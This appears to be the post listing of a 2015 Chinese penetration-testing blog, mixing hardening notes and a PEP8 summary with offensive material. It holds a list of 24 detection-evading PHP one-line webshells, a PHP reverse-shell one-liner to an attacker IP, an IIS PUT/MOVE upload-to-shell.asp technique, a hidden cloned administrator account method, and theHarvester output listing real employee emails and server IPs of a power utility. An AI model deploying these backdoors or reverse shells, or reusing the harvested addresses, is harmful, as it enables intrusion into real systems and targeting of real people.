学习笔记

2015-7-22 代码审计笔记

2015-7-22 代码审计笔记
1、审计过程配置分析环境 ==>  熟悉业务流程 ==> 分析程序架构 ==> 工具自动化分析 ==> 人工代码审计 ==> 整理测试报告 2. username被传入json_str_iconv()函数,判断如果不是utf-8编码就转换。... 继续阅读 »
渗透工具

theharvester - 信息搜集

theharvester - 信息搜集
root@baymax:~/Desktop# theharvester -d sgcc.com.cn -l 1200 -b google********************************************************************                                                                 ** | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  ** | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| ** | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    **  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    **                                                                 ** TheHarvester Ver. 2.5                                           ** Coded by Christian Martorella                                   ** Edge-Security Research                                          ** cmartorella@edge-security.com                                   ********************************************************************[-] Searching in Google: Searching 0 results... Searching 100 results... Searching 200 results... Searching 300 results... Searching 400 results... Searching 500 results... Searching 600 results... Searching 700 results... Searching 800 results... Searching 900 results... Searching 1000 results...[+] Emails found:------------------rurong@sgepri.sgcc.com.cnyb@sgepri.sgcc.com.cnliugang12@sgepri.sgcc.com.cnw@sgcc.com.cnWuming2@epri.sgcc.com.cnwabmaster@sgid.sgcc.com.cnwang@sgcc.com.cnwebmaster@sgid.sgcc.com.cnahuangfeng2@epri.sgcc.com.cnbduke@epri.sgcc.com.cnachenlei2@epri.sgcc.com.cnbhuangzaichao@epri.sgcc.com.cncwupeng3@epri.sgcc.com.cndliuchuan@epri.sgcc.com.cnyuanrongchang@epri.sgcc.com.cnenglish@sgcc.com.cnchao1@sgepri.sgcc.com.cnchao6@sgepri.sgcc.com.cnwuyannian@sgepri.sgcc.com.cnjgbts@ydzq.sgcc.com.cncompliance@ydzq.sgcc.com.cnliujin49@hn.sgcc.com.cnzhou.j@sh.sgcc.com.cndlxxh@epri.sgcc.com.cnchenjinmeng@sgm.sgcc.com.cngdnr_yxgj@sgepri.sgcc.com.cnpengling@sgri.sgcc.com.cninfo@sgcc.com.cnjyj@he.sgcc.com.cnnxg@he.sgcc.com.cnyirongwang@sgcc.com.cn00030009@nx.sgcc.com.cnxiaozheng@sgcc.com.cnqiu_weihao@zj.sgcc.com.cnpst@epri.sgcc.com.cnjrksale@sgepri.sgcc.com.cnmiaox@epri.sgcc.com.cnalichunlong@epri.sgcc.com.cnchuangz@epri.sgcc.com.cndzhangzenghua@epri.sgcc.com.cniweiwei@epri.sgcc.com.cnzhangtao@epri.sgcc.com.cnlinweimin@epri.sgcc.com.cnhuju@epri.sgcc.com.cnxurenzhong@epri.sgcc.com.cnxialie@epri.sgcc.com.cnDingjie@epri.sgcc.com.cncsee@epri.sgcc.com.cnwangcy@epri.sgcc.com.cndsy_tianyj@ec.sgcc.com.cndsy_yangxg@ec.sgcc.com.cndsy_panaq@ec.sgcc.com.cnzhangyin@sh.sgcc.com.cnzhukuanjun@epri.sgcc.com.cnliucaolan@epri.sgcc.com.cnyangjialun@epri.sgcc.com.cnhve@sgepri.sgcc.com.cnzhangjinxiu@sh.sgcc.com.cndsy.zhengx@ec.sgcc.com.cnsgeri@sgeri.sgcc.com.cnzhangyu@sh.sgcc.com.cnsgri@sgri.sgcc.com.cnpanghui@epri.sgcc.com.cnshi@sgcc.com.cnfengbao@sgepri.sgcc.com.cnhr@ydzq.sgcc.com.cnrlzyb@sgcc.com.cn[+] Hosts found in search engines:------------------------------------[-] Resolving hostnames IPs... 210.77.176.143:www.sgcc.com.cn211.160.187.104:www.ec.sgcc.com.cn58.22.2.41:www.fj.sgcc.com.cn202.106.80.133:www.bj.sgcc.com.cn210.77.176.188:ecp.sgcc.com.cn210.77.176.143:csr.sgcc.com.cn210.77.176.58:mail.sgcc.com.cn210.77.178.32:www.sgxy.sgcc.com.cn210.77.178.32:www.epri.sgcc.com.cn218.94.127.42:95598.js.sgcc.com.cn210.77.176.229:iscsso.sgcc.com.cn210.77.176.58:mail.zj.sgcc.com.cn180.168.217.242:95598.sh.sgcc.com.cn210.77.189.33:zhaopin.sgcc.com.cn61.187.56.77:hn.sgcc.com.cn211.160.72.161:www.ydpic.sgcc.com.cn210.77.176.58:pop3.sgcc.com.cn127.0.0.1:nx.sgcc.com.cn210.77.178.32:www.sgepri.sgcc.com.cn180.168.217.244:www.sh.sgcc.com.cn61.187.56.76:95598.hn.sgcc.com.cn58.56.115.235:www.95598.sd.sgcc.com.cn210.77.178.32:www.xjgc.sgcc.com.cn210.77.178.32:www.sgeri.sgcc.com.cn222.171.23.140:95598.hl.sgcc.com.cn202.107.201.24:95598.zj.sgcc.com.cn210.21.246.200:www.ydzq.sgcc.com.cn202.100.20.72:www.sn.sgcc.com.cn218.25.90.11:www.ln.sgcc.com.cn220.168.57.3:www.cseptc.hn.sgcc.com.cn118.122.113.202:www.xy.sc.sgcc.com.cn218.94.127.65:www.js.sgcc.com.cn218.94.96.188:aeps.sgepri.sgcc.com.cn222.171.23.145:hpttc.hl.sgcc.com.cn202.107.201.21:zdfap.zj.sgcc.com.cn118.122.113.214:www.95598.sc.sgcc.com.cn218.28.166.163:zz95598.ha.sgcc.com.cn61.182.207.156:www.he.sgcc.com.cn... 继续阅读 »
学习笔记

pipal - 密码分析工具

pipal - 密码分析工具
root@baymax:~/Desktop/dictionary# pipal CommonUsername.dict  Generating stats, hit CTRL-C to finish early and dump stats on words already processed. Please wait... Processing:    100% |oooooooooooooooooooooooooooooooooooooooooo| Time: 00:00:22 Total entries = 8886 Total unique entries = 8885 Top 10 passwords gale = 2 (0.02%) sibel = 1 (0.01%) admin' or ''=''-- = 1 (0.01%) admin' or 1=1-- = 1 (0.01%) 'or 1=1-- = 1 (0.01%) admins = 1 (0.01%) base = 1 (0.01%) admin'or''=' = 1 (0.01%) user = 1 (0.01%) root = 1 (0.01%) Top 10 base words user = 12 (0.14%) demo = 6 (0.07%) admin = 6 (0.07%) test = 4 (0.05%) batch = 3 (0.03%) ivpm = 2 (0.02%) root = 2 (0.02%) ceshi = 2 (0.02%) lucent = 2 (0.02%) guest = 2 (0.02%) Password length (length ordered) 1 = 7 (0.08%) 2 = 40 (0.45%) 3 = 328 (3.69%) 4 = 1062 (11.95%) 5 = 2029 (22.83%) 6 = 2240 (25.21%) 7 = 1634 (18.39%) 8 = 967 (10.88%) 9 = 392 (4.41%) 10 = 131 (1.47%) 11 = 30 (0.34%) 12 = 13 (0.15%) 13 = 6 (0.07%) 14 = 3 (0.03%) 15 = 2 (0.02%) 16 = 1 (0.01%) 17 = 1 (0.01%) Password length (count ordered) 6 = 2240 (25.21%) 5 = 2029 (22.83%) 7 = 1634 (18.39%) 4 = 1062 (11.95%) 8 = 967 (10.88%) 9 = 392 (4.41%) 3 = 328 (3.69%) 10 = 131 (1.47%) 2 = 40 (0.45%) 11 = 30 (0.34%) 12 = 13 (0.15%) 1 = 7 (0.08%) 13 = 6 (0.07%) 14 = 3 (0.03%) 15 = 2 (0.02%) 17 = 1 (0.01%) 16 = 1 (0.01%)       |                                                                       ||                                                                       ||                                                                       ||                                                                       |||                                                                      |||                                                                      |||                                                                      |||                                                                     ||||                                                                     |||||                                                                    |||||                                                                    |||||                                                                    |||||                                                                   |||||||                                                                  |||||||                                                               |||||||||||||||||||                                                      0000000000111111111 0123456789012345678 One to six characters = 5706 (64.21%) One to eight characters = 8307 (93.48%) More than eight characters = 579 (6.52%) Only lowercase alpha = 8554 (96.26%) Only uppercase alpha = 196 (2.21%) Only alpha = 8750 (98.47%) Only numeric = 11 (0.12%) First capital last symbol = 1 (0.01%) First capital last number = 39 (0.44%) Months march = 3 (0.03%) april = 2 (0.02%) may = 11 (0.12%) june = 2 (0.02%) august = 8 (0.09%) Days tuesday = 1 (0.01%) Months (Abreviated) jan = 44 (0.5%) mar = 229 (2.58%) apr = 3 (0.03%) may = 11 (0.12%) jun = 5 (0.06%) jul = 23 (0.26%) aug = 15 (0.17%) oct = 2 (0.02%) nov = 3 (0.03%) dec = 5 (0.06%) Days (Abreviated) mon = 61 (0.69%) tues = 1 (0.01%) thurs = 2 (0.02%) fri = 14 (0.16%) sat = 1 (0.01%) sun = 6 (0.07%) Includes years None found Years (Top 10) None found Colours blue = 1 (0.01%) gray = 2 (0.02%) red = 48 (0.54%) violet = 3 (0.03%) Single digit on the end = 42 (0.47%) Two digits on the end = 4 (0.05%) Three digits on the end = 6 (0.07%) Last number 0 = 6 (0.07%) 1 = 22 (0.25%) 2 = 17 (0.19%) 3 = 8 (0.09%) 4 = 3 (0.03%) 5 = 2 (0.02%) 6 = 1 (0.01%) 7 = 2 (0.02%) 8 = 4 (0.05%) 9 = 1 (0.01%)  |                                                                        |                                                                        |                                                                        ||                                                                       ||                                                                       ||                                                                       ||                                                                       ||                                                                       ||                                                                       ||                                                                       |||                                                                     ||||                                                                     ||||                                                                     |||||   |                                                                |||||| ||                                                                ||||||||||                                                               0123456789 Last digit 1 = 22 (0.25%) 2 = 17 (0.19%) 3 = 8 (0.09%) 0 = 6 (0.07%) 8 = 4 (0.05%) 4 = 3 (0.03%) 5 = 2 (0.02%) 7 = 2 (0.02%) 6 = 1 (0.01%) 9 = 1 (0.01%) Last 2 digits (Top 10) 23 = 4 (0.05%) 11 = 3 (0.03%) 22 = 2 (0.02%) 00 = 2 (0.02%) 82 = 1 (0.01%) 30 = 1 (0.01%) 02 = 1 (0.01%) 70 = 1 (0.01%) 12 = 1 (0.01%) 01 = 1 (0.01%) Last 3 digits (Top 10) 123 = 4 (0.05%) 812 = 1 (0.01%) 222 = 1 (0.01%) 470 = 1 (0.01%) 111 = 1 (0.01%) 400 = 1 (0.01%) 122 = 1 (0.01%) 100 = 1 (0.01%) Last 4 digits (Top 10) 1111 = 1 (0.01%) 2222 = 1 (0.01%) 3812 = 1 (0.01%) 4400 = 1 (0.01%) 1122 = 1 (0.01%) Last 5 digits (Top 10) 11111 = 1 (0.01%) 22222 = 1 (0.01%) US Area Codes 812 = S Indiana: Evansville, Cincinnati outskirts in IN, Columbus, Bloomington (IN) 470 = Georgia: Greater Atlanta Metropolitan Area (GA) Character sets loweralpha: 8554 (96.26%) upperalpha: 196 (2.21%) upperalphanum: 41 (0.46%) loweralphaspecial: 32 (0.36%) loweralphanum: 19 (0.21%) mixedalpha: 12 (0.14%) numeric: 11 (0.12%) upperalphaspecial: 6 (0.07%) mixedalphanum: 3 (0.03%) specialnum: 1 (0.01%) mixedalphaspecial: 1 (0.01%) Character set ordering allstring: 8762 (98.6%) stringdigit: 54 (0.61%) stringspecialstring: 31 (0.35%) othermask: 14 (0.16%) alldigit: 11 (0.12%) stringdigitstring: 5 (0.06%) digitstring: 3 (0.03%) specialstringspecial: 2 (0.02%) specialstring: 2 (0.02%) stringspecial: 2 (0.02%)... 继续阅读 »
渗透工具

过狗过盾无特征无动态函数PHP一句话-【转】

过狗过盾无特征无动态函数PHP一句话-【转】
学习些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等)原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html所有一句话使用方法基本都是:http:// target/shell.php?e=assert 密码pass01$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_filter($arr, $e);02$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_map($e, $arr);03$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, $e);04$e = $_REQUEST['e'];$arr = array('test' => 1, $_REQUEST['pass'] => 2);uksort($arr, $e);05$arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert');06$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');07$e = $_REQUEST['e'];$arr = array(1);array_reduce($arr, $e, $_POST['pass']);08$e = $_REQUEST['e'];$arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);09$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');10$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk_recursive($arr, $e, '');11mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');12echo preg_filter('|.*|e', $_REQUEST['pass'], '');13ob_start('assert');echo $_REQUEST['pass'];ob_end_flush();14$e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['pass']);15$e = $_REQUEST['e'];declare(ticks=1);register_tick_function($e, $_REQUEST['pass']);16filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));17filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));18$e = $_REQUEST['e'];$db = new PDO('sqlite:sqlite.db3');$db->sqliteCreateFunction('myfunc', $e, 1);$sth = $db->prepare("SELECT myfunc(:exec)");$sth->execute(array(':exec' => $_REQUEST['pass']));19$e = $_REQUEST['e'];$db = new SQLite3('sqlite.db3');$db->createFunction('myfunc', $e);$stmt = $db->prepare("SELECT myfunc(?)");$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);$stmt->execute();20$str = urlencode($_REQUEST['pass']);$yaml = <<<EODgreeting: !{$str} "|.+|e"EOD;$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));21$mem = new Memcache();$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));$mem->connect($_REQUEST['pass'], 11211, 0);22preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);23mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);24$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));foreach ($iterator as $item) {echo $item;}... 继续阅读 »
学习笔记

2015-7-20 mysql加固复习笔记

2015-7-20 mysql加固复习笔记
Windows下配置Mysql执行日志记录文件  找到mysql文件下的my.ini 编辑并添加一条记录:log=C:\mysqlLog.log  服务下面重启mysql服务即可测试成功的!2. Linux下可以在my.cnf下的[mysqld]下面配置log日志文件,然而并没有测试成功!... 继续阅读 »
学习笔记

2015-7-20 Linux加固复习笔记

2015-7-20 Linux加固复习笔记
常用命令查看路由表: netstat -rn  2. 查看当前进程ps -aux  3. 账号锁定策略使用命令“cat /etc/passwd”查看口令文件,与系统管理员确认不必要的账号FTP等服务的账号,如果不需要登录系统,shell应该/sbin/nologin 加固方法:设置连续输错10次密码,帐号锁定5分钟,使用命令“sudo vim /etc/pam.d/login”修改配置文件,添加auth          required        pam_tally2.so        deny=10 unlock_time=300 even_deny_root root_unlock_time=300注意添加的位置,要写在第一行,即#%PAM-1.0的下面。  4. 检查特速账号查看空口令和root权限的账号使用命令“awk -F: '($2=="")' /etc/shadow”查看空口令账号使用命令“awk -F: '($3==0)' /etc/passwd”查看UID为零的账号  5. 添加口令周期策略  查看策略设置:vi /etc/login.defs修改配置文件:PASS_MAX_DAYS   90        #新建用户的密码最长使用天数PASS_MIN_DAYS   0          #新建用户的密码最短使用天数PASS_WARN_AGE   7         #新建用户的密码到期提前提醒天数#上面配置添加用户时,默认的配置策略,可以通过chage命令具体指定某个用户的口令策略使用chage命令修改用户设置,例如:sudo chage -m 0 -M 30 -E 2000-01-01 -W 7 <用户名>锁定用户功能谨慎使用,密码策略对root不生效6. 限制root远程登陆telnetvi编辑/etc/securetty文件,配置:CONSOLE = /dev/tty01 7. 配置TCP Wrapper 使用命令“vi /etc/hosts.allow”和“vi /etc/hosts.deny”修改配置vi /etc/hosts.allow按“i”进入编辑模式加入:sshd:IP地址vi /etc/hosts.deny按“i”进入编辑模式sshd: ALL : deny8. 限制Ctrl + Alt + Del命令 vi /etc/inittab先使用命令“vi /etc/inittab”编辑配置文件,在行开头添加注释符号“#”#ca::ctrlaltdel:/sbin/shutdown -t3 -r now,再使用命令“init q”应用设置有上面的语句的话取消注释,没有的话就添加一行内容为:ca::ctrlaltdel:/sbin/shutdown -t3 -r now9. 查看NFS共享使用命令“vi /etc/exports”编辑配置文件,删除不必要的共享10. 网络参数TTL值最大0-255,超过了255就超出了比如:设置TTL为 1000实际TTL为 1000 mod 256 = 232实际值对 256取模使用命令“vi /etc/sysctl.conf”修改配置文件,有选择的添加以下内容:net.ipv4.icmp_echo_ignore_broadcasts = 1   # 忽略ICMP广播net.ipv4.icmp_echo_ignore_all = 1           # 忽略ICMP echo请求net.ipv4.ip_default_ttl = 128                 #   修改TTL为128使用命令“sysctl -p”使更改生效10.  重要目录和文件的权限设置.执行以下命令检查目录和文件的权限设置情况: chmod 700 /bin/rpm    chmod 600 /etc/exports  #NFS共享目录配置文件  chmod 600 /etc/hosts.*  #主机访问控制文件  chmod 644 /var/log/messages  #系统日志配置文件  chmod 640 /etc/syslog.conf  chmod 660 /var/log/wtmp  chmod 640 /var/log/lastlog  chmod 600 /etc/ftpusers  #用户口令文件  chmod 644 /etc/passwd  chmod 600 /etc/shadow  #校验模块配置文件目录  chmod R 750 /etc/pam.d   chmod 600 /etc/lilo.conf  #终端配置文件  chmod 600 /etc/securetty  chmod 400 /etc/shutdown.allow  #系统访问安全配置文件  chmod 700 /etc/security  #网络系统配置文件  chmod R 751 /etc/sysconfig  #超级守护进程配置文件  chmod 600 /etc/xinetd.conf  chmod 600 /etc/inetd.conf  chmod R 750 /etc/rc.d/init.d/  chmod 750 /etc/rc.d/init.d/*  #自动运行程序控制文件  chmod 600 /etc/crontab  chmod 400 /etc/cron.*  #SSH配置文件  chmod 750 /etc/ssh  #内核控制配置文件  chmod 400 /etc/sysctl.confg 11. 设置登陆超时    设置系统登录后,连接超时时间,增强安全性  使用命令“vi /etc/profile”修改配置文件,添加“TMOUT=”行开头的注释,设置为“TMOUT=180”,即超时时间为3分钟... 继续阅读 »
学习笔记

2015-7-19 数据库安全合并中间件安全

2015-7-19 数据库安全合并中间件安全
sqlserver数据库1.sqlserver服务器角色中sysadmin权限最高2.sqlserver使用的密码策略是windows系统的密码策略3.查看所有数据库 select name from sys.databases;查看当前库中的所有表select name from sys.tables;web应用服务器攻防4.nc使用方法:nc ip portOPTIONS / HTTP/1.1Host: ip/domainContent-Length: 0紧跟两个回车5.Apache banner信息泄露信息的修复建议:修改httpd.conf,将ServerTokens值(服务器操作系统的名称)改为Prod、ServerSignature值(Apache的版本)改为Off。6.禁止Apache目录浏览修改http.conf文件,<Directory "D:/Apache/blog.phpha.com">Options Indexes FollowSymLinks # 修改为: Options  FollowSymLinks    AllowOverride None    Order allow,deny    Allow from all</Directory>将Indexes去掉7.禁止Tomcat目录浏览修改/conf/web.xml<servlet>        <servlet-name>default</servlet-name>        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>        <init-param>            <param-name>debug</param-name>            <param-value>0</param-value>        </init-param>        <init-param>            <param-name>listings</param-name>            <param-value>true</param-value>        </init-param>        <load-on-startup>1</load-on-startup>    </servlet>将listings的值改为false.8.IIS PUT上传攻击,先上传txt,然后将txt重命名为aspPUT /test.txt HTTP/1.1Host: 127.0.0.1Content-Length: 10testMOVE /test1.txt HTTP/1.1Host: 127.0.0.1Destination: http://www.coffeehb.cn/shell.asp9.Tomcat SHUTDOWN字符串向Tomcat 8005端口发送SHUTDOWN字符串会导致Tomcat进程退出10.apache将特殊目录使用密码保护首先利用htpasswd生成密码文件,windows下创建方法:htpasswd -c C:\htpasswd.txt username修改httpd.conf,添加如下行<Directory "特殊目录">Options Indexes FollowSymLinksAllowOverride AuthConfigAuthType BasicAuthName "annex's password"AuthUserFile 用户密码文件Require user 授权用户名</Directory>比如:<Directory "/var/site1/passwd">Options Indexes FollowSymLinksAllowOverride AuthConfigAuthType BasicAuthName "annex's password"AuthUserFile /usr/local/etc/passwd.httpdRequire user annex</Directory>11.Tomcat为特殊目录使用密码保护的实践未成功... 继续阅读 »
学习笔记

2015-7-18 操作系统安全笔记

2015-7-18  操作系统安全笔记
1.root SID最后是0  windows的SID最后为500的表示administrator账户,501表示guest用户,建立的普通用户SID都在1000以上。2.linux下文件的最高权限是666,文件夹的最高权限是777,文件的权限=666-umask的值/etc/profile保存了系统变量和历史命令3.克隆账户时用户名和值的注册表都要导入,不要忘记用户名那个注册表喔!!!先建立隐藏账户,同时设置密码,比如:net user test$ test /add。然后再注册表中将test$的用户名注册表和键值注册表导出,将要克隆的账户的键值注册表也导出,将要克隆的账户的F值复制覆盖到test$的F值。然后,在命令行下将test$账户删除。最后,将test$的用户名注册表和键值注册表导入。4.linux telnet配置文件/etc/xinetd.d/telnet5.linux系统日志,/var/log6.禁止系统自动登录,“开始->运行->control userpasswords2”:查看是否启用“要是用本机,用户必须输入用户名和密码”选项。7.FAT文件系统转换为NTFS文件系统,如convert C:/fs:ntfs8.linux配置IP:vi /etc/sysconfig/network-scripts/ifcfg-eth0<hr class="more" />安全加固考试大纲:系统版本信息查看(linux:uname,、windows:systeminfo,ver,)用户信息(net user 用户名)账户有关操作iptables查看服务(linux、windows)linux配置文件linux文件目录极其作用ssh配置NSF共享windows常用命令ver查看系统版本wmic os get servicePackMajorVersion查看sp版本hostname查看主机名ipconfig /all查看网络记录net user/localgroup/share/config查看用户、用户组、共享、查看正在运行的服务linux常用命令uname -a查看内核信息rpm -qa查看所有软件包hostname查看主机名ifconfig -a查看网络配置netstat -an查看开放端口netstat -rn查看路由表ps -aux查看当前进程question:su切换至高权限用户一直提示密码错误禁止root使用telnet远程登录pam.d/system-auth... 继续阅读 »
Python编程

python脚本要好好写-PEP8 Python 编码规范

python脚本要好好写-PEP8 Python 编码规范
0x01.背景       过去学习和需要的时候一直都是在Windows下写的py脚本或小Tools,几乎没在Linux下编写和测试过.一直认为在DOS命令窗口下python>> 写一下满足需要,复杂一点的就打开Pycharm或pydev+Eclipse编写脚本就能完事,没必要打开虚拟机去Linux环境下编写脚本.      虽然windows下写的脚本有时候出各种问题,每次都要百度查找解决一个又一个问题,但是还是妥协于懒得打开虚拟机一开虚拟机电脑用着就卡住了.       喜欢BB2的分享精神,之前很尴尬的事是拿着上面写Poc怎么跑都要出错,老是说baseframe有问题,在Pip上各种翻都没法弄.我很喜欢python也很想写POC一边练习python脚本编写一边去了解和分析漏洞存在的原因.能搞懂一个漏洞并写出漏洞Poc感觉肯定很巴适!0x02.迷雾揭开      今晚无意看到个帖子:千万不要把Python脚本的第一行写成“#! /usr/bin/python”      提到唯一的正确写法:  #! /usr/bin/env python     这是Linux下最佳实践. 利用env找到当前用户环境里找到python解释器不用考虑python解释器在何位置吧. 这样写的py脚本.      chmod 添加x权限后,’./xxx.py’ 就可以直接执行了. Windows下也可以使用#!    加Python解释器绝对路径 然后.直接执行. 但是Windows下安装Python的时候python解释器路径被加在了环境变量里的,所以可以直接使用的.执行脚本. 这行代码让我想到了BB2上写的POC了,BB2上写的就是这么规范,于是多看了两下,于是看到开发文档里说到了baseframe框架.这才发现BB2上写的POC用的baseframe是自定义的啊,曾经那么多次苦恼终于揭开了. 马上下载了BB2的框架。在Linux下测试了他人写的POC可行的了. 以后可以写自己的Poc提到BB2和利用别人的POC做检测了. 开始慢慢转移到Linux下编写脚本了,放弃windows!0x03. Python编程PEP8规范        找到豆瓣一篇详细说到了Python编程中的PEP8规范,这里记录一下以备需要时来翻一翻。        PEP8 Python 编码规范代码编排        1 缩进。4个空格的缩进(编辑器都可以完成此功能),不使用Tap,更不能混合使用Tap和空格。        2 每行最大长度79,换行可以使用反斜杠,最好使用圆括号。换行点要在操作符的后边敲回车。        3 类和top-level函数定义之间空两行;类中的方法定义之间空一行;函数内逻辑无关段落之间空一行;其他地方尽量不要再空行。          二 文档编排        1 模块内容的顺序:模块说明和docstring—import—globals&constants—其他定义。其中import部分,又按标准、三方和自己编写顺序依次排放,之间空一行。        2 不要在一句import中多个库,比如import os, sys不推荐。        3 如果采用from XX import XX引用库,可以省略‘module.’,都是可能出现命名冲突,这时就要采用import XX。          空格的使用        总体原则,避免不必要的空格。        1 各种右括号前不要加空格。        2 逗号、冒号、分号前不要加空格。        3 函数的左括号前不要加空格。如Func(1)。        4 序列的左括号前不要加空格。如list[2]。        5 操作符左右各加一个空格,不要为了对齐增加空格。        6 函数默认参数使用的赋值符左右省略空格。        7 不要将多句语句写在同一行,尽管使用‘;’允许。        8 if/for/while语句中,即使执行语句只有一句,也必须另起一行。           注释        总体原则,错误的注释不如没有注释。所以当一段代码发生变化时,第一件事就是要修改注释!        注释必须使用英文,最好是完整的句子,首字母大写,句后要有结束符,结束符后跟两个空格,开始下一句。如果是短语,可以省略结束符。        1 块注释,在一段代码前增加的注释。在‘#’后加一空格。段落之间以只有‘#’的行间隔。比如:        # Description : Module config.        #        # Input : None        #        # Output : None        2 行注释,在一句代码后加注释。比如:x = x + 1 # Increment x        但是这种方式尽量少使用。        3 避免无谓的注释。          文档描述        1 为所有的共有模块、函数、类、方法写docstrings;非共有的没有必要,但是可以写注释(在def的下一行)。        2 如果docstring要换行,参考如下例子,详见PEP 257        “””Return a foobang                Optional plotz says to frobnicate the bizbaz first.                “””          命名规范        总体原则,新编代码必须按下面命名风格进行,现有库的编码尽量保持风格。        1 尽量单独使用小写字母‘l’,大写字母‘O’等容易混淆的字母。        2 模块命名尽量短小,使用全部小写的方式,可以使用下划线。        3 包命名尽量短小,使用全部小写的方式,不可以使用下划线。        4 类的命名使用CapWords的方式,模块内部使用的类采用_CapWords的方式。        5 异常命名使用CapWords+Error后缀的方式。        6 全局变量尽量只在模块内有效,类似C语言中的static。实现方法有两种,一是__all__机制;二是前缀一个下划线。        7 函数命名使用全部小写的方式,可以使用下划线。        8 常量命名使用全部大写的方式,可以使用下划线。        9 类的属性(方法和变量)命名使用全部小写的方式,可以使用下划线。        9 类的属性有3种作用域public、non-public和subclass API,可以理解成C++中的public、private、protected,non-public属性前,前缀一条下划线。        11 类的属性若与关键字名字冲突,后缀一下划线,尽量不要使用缩略等其他方式。        12 为避免与子类属性命名冲突,在类的一些属性前,前缀两条下划线。比如:类Foo中声明__a,访问时,只能通过Foo._Foo__a,避免歧义。如果子类也叫Foo,那就无能为力了。        13 类的方法第一个参数必须是self,而静态方法第一个参数必须是cls。         编码建议        1 编码中考虑到其他python实现的效率等问题,比如运算符‘+’在CPython(Python)中效率很高,都是Jython中却非常低,所以应该采用.join()的方式。        2 尽可能使用‘is’‘is not’取代‘==’,比如if x is not None 要优于if x。        3 使用基于类的异常,每个模块或包都有自己的异常类,此异常类继承自Exception。        4 异常中不要使用裸露的except,except后跟具体的exceptions。        5 异常中try的代码尽可能少。比如:        try:         value = collection[key]         except KeyError:         return key_not_found(key)         else:         return handle_value(value)        要优于         broad!         return handle_value(collection[key])         except Ktry:         # TooeyError:         # Will also catch KeyError raised by handle_value()         return key_not_found(key)        6 使用startswith() and endswith()代替切片进行序列前缀或后缀的检查。比如:        Yes: if foo.startswith(‘bar’):优于        No: if foo[:3] == ‘bar’:        7 使用isinstance()比较对象的类型。比如        Yes: if isinstance(obj, int): 优于        No: if type(obj) is type(1):        8 判断序列空或不空,有如下规则        Yes: if not seq:         if seq:        优于        No: if len(seq)         if not len(seq)        9 字符串不要以空格收尾。        10 二进制数据判断使用 if boolvalue的方式。... 继续阅读 »
渗透技巧

分析各类反弹shell的姿势之PHP版

分析各类反弹shell的姿势之PHP版
        0x01.适用对象            php版本4以上Linux Windows均可.        0x02.利用方式.            1.windows中                切换到php安装目录,执行下面命令:php -r ‘$sock=fsockopen("攻击者监听连接的外网Ip",端口PORT);exec("/bin/sh -i <&3 >&3 2>&3");’            2.linux中                在终端里直接执行命令:php -r ‘$sock=fsockopen("攻击者监听连接的外网Ip",端口PORT);exec("/bin/sh -i <&3 >&3 2>&3");’        0x03.运行分析.            1. php命令参数Usage: php [options] [-f] <file> [–] [args…] php [options] -r <code> [–] [args…] php [options] [-B <begin_code>] -R <code> [-E <end_code>] [–] [args…] php [options] [-B <begin_code>] -F <file> [-E <end_code>] [–] [args…] php [options] -S <addr>:<port> [-t docroot] php [options] — [args…] php [options] -a -a Run interactively -c <path>|<file> Look for php.ini file in this directory -n No php.ini file will be used -d foo[=bar] Define INI entry foo with value ‘bar’ -e Generate extended information for debugger/profiler -f <file> Parse and execute <file>. -h This help -i PHP information -l Syntax check only (lint) -m Show compiled in modules -r <code> Run PHP <code> without using script tags <?..?> -B <begin_code> Run PHP <begin_code> before processing input lines -R <code> Run PHP <code> for every input line -F <file> Parse and execute <file> for every input line -E <end_code> Run PHP <end_code> after processing all input lines -H Hide any passed arguments from external tools. -S <addr>:<port> Run with built-in web server. -t <docroot> Specify document root <docroot> for built-in web server. -s Output HTML syntax highlighted source. -v Version number -w Output source with stripped comments and whitespace. -z <file> Load Zend extension <file>. args… Arguments passed to script. Use — args when first argument starts with – or script is read from stdin –ini Show configuration file names –rf <name> Show information about function <name>. –rc <name> Show information about class <name>. –re <name> Show information about extension <name>. –rz <name> Show information about Zend extension <name>. –ri <name> Show configuration for extension <name>.            常用的:php -f xxx.php 执行php 脚本文件.或者 php xxx.php . php -r xxx.php 执行php脚本文件实体代码,忽略<?…?>标签.使用msfpayload 生成的反向shell就是光的php代码.不带标签的。            可以加上<?php ?> 使用.            2. fsockopen函数建立一个网络连接或者Unix套接字.                使用例子: <?php $fp = fsockopen("www.baidu.com", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: www.baidu.com\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?>            